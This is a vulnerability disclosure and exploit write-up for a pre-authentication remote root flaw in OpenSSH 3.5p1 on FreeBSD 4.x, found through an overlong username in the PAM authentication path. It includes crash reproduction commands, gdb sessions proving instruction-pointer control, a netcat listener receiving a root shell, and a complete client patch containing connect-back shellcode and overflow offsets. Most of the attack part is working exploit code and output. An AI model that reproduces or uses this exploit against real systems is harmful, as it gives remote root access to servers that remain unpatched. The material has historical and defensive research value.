OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
Discovered and Exploited By Kingcope – 2011

The last two days I have been investigating a vulnerability in OpenSSH affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run OpenSSH 3.5p1 in the default install.  The sshd banner for 4.11-RELEASE is:
"SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930".

A working Remote Exploit which spawns a root shell remotely and previous to authentication was developed.  The bug can be triggered both through ssh version 1 and ssh version 2 using a modified ssh client. During the investigation of the vulnerability it was found that the bug resides in the source code file “auth2-pam-freebsd.c”.

http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c

This file does not exist in FreeBSD releases greater than 5.2.1. The last commit is from 7 years ago.  Specifically the bug follows a code path in the PAM Authentication Thread inside this source code, “pam_thread()”. It could not be verified if the bug is inside this
(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.

Both the challenge response (ssh version 1) and keyboard interactive via pam (ssh version 2) authentications go through this code path.  By supplying a long username to the daemon the sshd crashes.

h4x# sysctl kern.sugid_coredump=1
kern.sugid_coredump: 0 -> 1
root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138
h4x# tail -1 /var/log/messages
Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)

Looking into the coredump reveals:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x28092305 in ?? ()
(gdb) x/1i $eip
0x28092305:     (bad)

The sshd crahes at a place with illegal instructions. It looks like it depends on how the sshd is started. Starting the sshd from the console as root and running the ssh client with long username again reveals:

h4x# killall -9 sshd
h4x# /usr/sbin/sshd
root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138
h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/10i $eip
0x41414141:     Cannot access memory at address 0x41414141.

As you can see in the above gdb output we can control EIP completely. If someone finds out on what this behaviour depends, especially why EIP can be controlled when starting sshd in the console and can not be easily controlled when being run from the boot sequence, please drop me an email at isowarez.isowarez.isowarez (at) googlemail.com

Anyhow this procedure shows that the sshd can be exploited because the instruction pointer can be fully controlled.  The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client. Using a reverse shellcode it will spawn a rootshell.  Only one offset is needed, the position of the shellcode can be found the following way:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) set $x=0x08071000
(gdb) while(*++$x!=0x90909090)
>end
(gdb) x/10b $x

The printed address is the beginning of the shellcode nopsled.  Attached is the Proof of Concept as a diff to OpenSSH-5.8p2.  It roughly does the following:

root@debian:~# ./ssh -1 192.168.32.138
root@debian:~# nc -v -l -p 10000
listening on [any] 10000 ...
192.168.32.138: inverse host lookup failed: Unknown host
connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038
uname -a;id;
FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005     root (at) perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
uid=0(root) gid=0(wheel) groups=0(wheel)

root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
667a668,717
> // Connect Back Shellcode
>
> #define       IPADDR  "\xc0\xa8\x20\x80"
> #define PORT  "\x27\x10"              /* htons(10000) */
>
> char sc[] =
>    "\x90\x90"
>    "\x90\x90"
>    "\x31\xc9"                 // xor    ecx, ecx
>    "\xf7\xe1"                 // mul    ecx
>    "\x51"                     // push   ecx
>    "\x41"                     // inc    ecx
>    "\x51"                     // push   ecx
>    "\x41"                     // inc    ecx
>    "\x51"                     // push   ecx
>    "\x51"                     // push   ecx
>    "\xb0\x61"                 // mov    al, 97
>    "\xcd\x80"                 // int    80h
>    "\x89\xc3"                 // mov    ebx, eax
>    "\x68"IPADDR                       // push   dword 0101017fh
>    "\x66\x68"PORT             // push   word 4135
>    "\x66\x51"                 // push   cx
>    "\x89\xe6"                 // mov    esi, esp
>    "\xb2\x10"                 // mov    dl, 16
>    "\x52"                     // push   edx
>    "\x56"                     // push   esi
>    "\x50"                     // push   eax
>    "\x50"                     // push   eax
>    "\xb0\x62"                 // mov    al, 98
>    "\xcd\x80"                 // int    80h
>    "\x41"                     // inc    ecx
>    "\xb0\x5a"                 // mov    al, 90
>    "\x49"                     // dec    ecx
>    "\x51"                     // push   ecx
>    "\x53"                     // push   ebx
>    "\x53"                     // push   ebx
>    "\xcd\x80"                 // int    80h
>    "\x41"                     // inc    ecx
>    "\xe2\xf5"                 // loop   -10
>    "\x51"                     // push   ecx
>    "\x68\x2f\x2f\x73\x68"     // push   dword 68732f2fh
>    "\x68\x2f\x62\x69\x6e"     // push   dword 6e69622fh
>    "\x89\xe3"                 // mov    ebx, esp
>    "\x51"                     // push   ecx
>    "\x54"                     // push   esp
>    "\x53"                     // push   ebx
>    "\x53"                     // push   ebx
>    "\xb0\xc4\x34\xff"
>    "\xcd\x80";                // int    80h
>
679a730,737
>       char buffer[8096];
>
>       // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1
>       memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24);
>       memset(buffer+24, '\x90', 5000);
>       memcpy(buffer+24+5000, sc, sizeof(sc));
>       server_user=buffer;
>
690a749
>

Download the SSH client patch here. Cheers

Kingcope

Tags: Exploitation, Hacking, remote exploit
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